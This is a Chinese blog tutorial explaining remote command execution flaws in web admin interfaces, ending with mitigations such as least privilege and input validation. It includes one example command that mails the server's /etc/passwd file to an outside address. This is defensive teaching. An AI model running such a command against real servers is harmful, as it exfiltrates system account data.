【常見Web應用安全問題】---3、Code Execution

Web應用程序的安全性問題依其存在的形勢劃分,種類繁多,這裏不準備介紹所有的,只介紹常見的一些。

 常見Web應用安全問題安全性問題的列表:

  1、跨站腳本攻擊(CSS or XSS, Cross Site Scripting)
  2、SQL注入攻擊(SQL injection)
  3、遠程命令執行(Code execution,個人覺得譯成代碼執行並不確切)
  4、目錄遍歷(Directory traversal)
  5、文件包含(File inclusion)
  6、腳本代碼暴露(Script source code disclosure)
  7、Http請求頭的額外的回車換行符注入(CRLF injection/HTTP response splitting)
  8、跨幀腳本攻擊(Cross Frame Scripting)
  9、PHP代碼注入(PHP code injection)
  10、XPath injection
  11、Cookie篡改(Cookie manipulation)
  12、URL重定向(URL redirection)
  13、Blind SQL/XPath injection for numeric/String inputs
  14、Google Hacking


遠程命令執行(code execution) 

先不解釋它的概念,我們先假設這樣一個用戶使用場景:  

有一個站點的管理入口功能非常強大,大到什麼程度呢?可以重啓Web服務器。

你能想出來它是如何實現的嗎?我們知道不管是PHP還是JSP,我們都可以在服務器通過Shell調用系統(Linux or Windows)命令,等命令執行後,將執行結果返回給客戶端。其實我們通過Web Page的管理入口管理服務器端的各種服務就是通過類似這種渠道完成的。

這裏會有什麼問題?比如我們要重啓apache,假如系統是通過這個命令來完成的:

/$path/./apche -restart

這裏的$path是Web應用程序的基準路徑(比如:apache上的documentroot),它的實現方式是這樣的:通過用戶瀏覽器客戶端傳送一個命令串給Web server,web server通過調用shell來執行傳過來的命令。

試想,如果我通過瀏覽器客戶端強行傳送一個:restart, shutdown之類的命令給server,結果會是什麼樣子?

這只是起一個小小的破壞作用,那如果我傳送一個:mail [email protected] </etc/passwd,執行結果是什麼?

結果是將linux系統的passwd文件(linux系統用戶信息)發送到指定的郵箱[email protected]。是不是很可怕呢?

這就是遠程命令執行漏洞的一個小小的典型例子。

至於它的更深遠的安全隱患在哪裏還需要你有更多的相關基礎知識才能夠得以深入理解和運用(比如:Web server OS, Web Service-apache/weblogic/tomcat...相關的使用技能)。  

總結一下:遠程命令執行漏洞一般發生在Web系統允許用戶通過Web應用接口訪問與管理Web服務器且沒有經過嚴格的輸入驗證與過濾的情況下的一種Web應用安全漏洞。  

簡要的解決方案:  

1、嚴格限制運行Web服務的用戶權限。

就是說你的Web應用可以訪問你的服務器系統的用戶權限。一般情況一下,我們應該以白名單的形式介定Web應用可以訪問服務器系統的權限。這樣控制可以從系統級達到安全防範的效果。  

2、嚴格執行用戶輸入的合法性檢查。

這裏的輸入不一定是你通過表單從鍵盤輸入,往往是Web應用已經內定了某一些操作供您選擇,而此時你可以通過Http抓包的方式獲取Http請求信息包經改裝後重新發送。

詳細理解這一部分,請關注我後續將來介紹的《Web工作原理》部分的Http協議原理。

本文來自:http://blog.csdn.net/iwebsecurity/article/details/1693877

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章